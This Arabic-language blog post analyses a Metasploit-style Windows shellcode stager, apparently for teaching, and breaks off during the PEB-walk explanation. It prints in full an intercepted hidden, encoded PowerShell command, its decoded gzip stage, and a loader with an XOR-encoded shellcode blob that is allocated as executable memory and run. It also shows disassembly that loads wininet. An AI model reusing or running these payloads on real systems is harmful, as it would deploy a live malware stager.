
جولة تحليل ثابت لشيلكود Metasploit على ويندوز: فك ترميز حمولة PowerShell، تعتيم XOR، التنقل عبر PEB، وحل جدول عناوين التصدير.
في أول منشور مدونة، رأيت أنه سيكون من الجيد تحليل شيلكود Metasploit شائع - إنها فرصة رائعة لمناقشة مواضيع مثل الترميز، PEB، شيلكودات Windows وجداول عناوين التصدير.
نبدأ بسطر أوامر طويل تم اعتراضه:```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
هذا سطر أوامر PowerShell مشفر بتنسيق [base64](https://en.wikipedia.org/wiki/Base64) (يُشار إليه بواسطة الخيار `-encodedcommand`). عند فك التشفير، يبدو بهذا الشكل:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
ينفّذ هذا الحمولة فك ترميز base64 إضافي (للجزء الذي يبدأ بـ "H4sIA...") ويحفظه في دفق ذاكرة ($s).
ثم يتعامل معه كدفق مضغوط (gzip)، يفك ضغطه وينفّذ المحتوى (باستخدام IEX).
من السهل جدًا فك ضغطه - يمكنك استخدام PowerShell أو CyberChef أو حتى Python:```python
import io, gzip, base64
x=b'H4sIAAAAAAAAAK1...' # Omitted
print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())
يحتوي الإخراج على المزيد من أوامر PowerShell، وهذه المرة بمنطق أكثر تعقيدًا:```powershell
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
دعنا نفكك الأمر:
$DoIt يحتوي على معظم المنطق. يعرّف دالة باسم func_get_proc_address وهي مجرد غلاف لـ kernel32!GetProcAddress، ويستخدم دالة func_get_delegate_type للحصول على مفوض انعكاسي.$var_code هو حمولة base64 أخرى (!) لكنها هذه المرة أقل وضوحًا - محاولة فك تشفيرها بسذاجة تنتج بيانات غير مفهومة.$var_code بايتًا بايت مع القيمة 35. وهذا يفسر بالفعل سبب عدم إعطاء فك التشفير أي سلاسل نصية، ولكن حتى بعد تطبيق XOR - لا يزال لا يبدو واعدًا بدون السياق الصحيح.$var_buffer) مع flAllocationType=0x3000 و flProtect=0x40. بالنظر إلى MSDN يتضح أن نوع التخصيص هو MEM_COMMIT | MEM_RESERVE وحماية الصفحة هي .يخبرنا ذلك أن الحمولة المشفرة بـ base64 يجب التعامل معها على أنها shellcode 32-بت.
دعنا نحللها تحليلًا ثابتًا مرة أخرى بتطبيق XOR وكتابتها إلى ملف ثنائي:```python
import base64
x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted
open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))
هنا تبدأ المتعة. يمكنك استخدام مفكك الشفرات المفضل لديك (IDA, Binary Ninja, إلخ).
حتى أن هناك بعض [المفككات عبر الإنترنت](https://shell-storm.org/online/Online-Assembler-and-Disassembler) الرائعة تحت تصرفك إذا كنت لا تهتم بـ opsec.
بداية الشيل كود تكون عند الإزاحة 0 ويجب التعامل مع الكود على أنه كود X86.
## التجول في PEB
يبدأ الكود بتعليمة CALL:```assembly
0x0000000000000000: FC cld
0x0000000000000001: E8 89 00 00 00 call 0x8f
تعليمات cld تمسح علم الاتجاه (بحيث تتحرك عمليات السلاسل مثل movsb للأمام وليس للخلف)، ثم تنفذ استدعاءً نسبيًا إلى 0x8f.
نظرًا لأن call يدفع التعليمات التالية إلى المكدس، نتذكر أن المكدس تم دفعه بالعنوان الموجود عند الإزاحة 6 في shellcode.
لنفحص الكود عند الإزاحة 0x8f:```assembly
0x000000000000008f: 5D pop ebp
0x0000000000000090: 68 6E 65 74 00 push 0x74656e
0x0000000000000095: 68 77 69 6E 69 push 0x696e6977
0x000000000000009a: 54 push esp
0x000000000000009b: 68 4C 77 26 07 push 0x726774c
0x00000000000000a0: FF D5 call ebp
إن استخدام `pop` فورًا لحفظ العنوان هو حيلة شائعة في كتابة الشيل كود (تسلسل `call-pop`). عمليات الدفع التالية مثيرة للاهتمام - تبدو للوهلة الأولى ثوابت غريبة، لكن فك ترميزها كسلاسل ANSI يكشف شيئًا مثيرًا:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)
بما أننا نتحدث عن عمليات دفع القيم إلى المكدس (stack pushes) - كان عليّ استخراجها بالترتيب المعاكس، مع التأكد من استخدام Little Endian (وهو الرمز < في الكود).
هذا يطبع b'wininet\x00'، وهو اسم DLL لنظام Windows يُستخدم للاتصالات عبر الإنترنت.
لاحظ أن push esp سيدفع عنوان أعلى المكدس، وهي طريقة جيدة للحصول على مؤشر إلى السلسلة wininet المنتهية بـ NUL.
بالمتابعة، ندفع ثابتًا آخر (0x726774c) - هذا لا يُفكَّك إلى أي شيء ذي معنى، ثم نستدعي ebp. تذكّر أن ebp يشير إلى جزء من الكود عند الإزاحة 6 من بداية الشيلكود، لذا دعنا نفحص ذلك الجزء!
يبدأ الكود عند الإزاحة 6 بعدد من التعليمات المثيرة للاهتمام:```assembly
0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp
0x0000000000000009: 31 D2 xor edx, edx
0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30]
0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc]
0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14]
0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28]
0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]
بعد مقدمة بسيطة (دفع جميع المسجّلات وإنشاء إطار مكدس جديد)، نرى أن `edx` يتم تصفيره (عبر عملية XOR ذاتية).
ثم يحصل `edx` على عنوان `fs:[0x30]`. هذا العنوان هو [كتلة بيئة العملية (PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb).
كتلة PEB هي كتلة في وضع المستخدم تحتوي على بيانات مفيدة من العملية يمكن استخدامها، بما في ذلك سطر الأوامر، حالة التصحيح، الوحدات المحمّلة وغيرها. وهي تحسين للأداء لتجنّب استدعاءات نواة النظام غير الضرورية.
نرى عدة عناوين تتم الإشارة إليها - في IDA يمكنك تحميل بنية PEB، لكن فقط من باب الاكتمال:
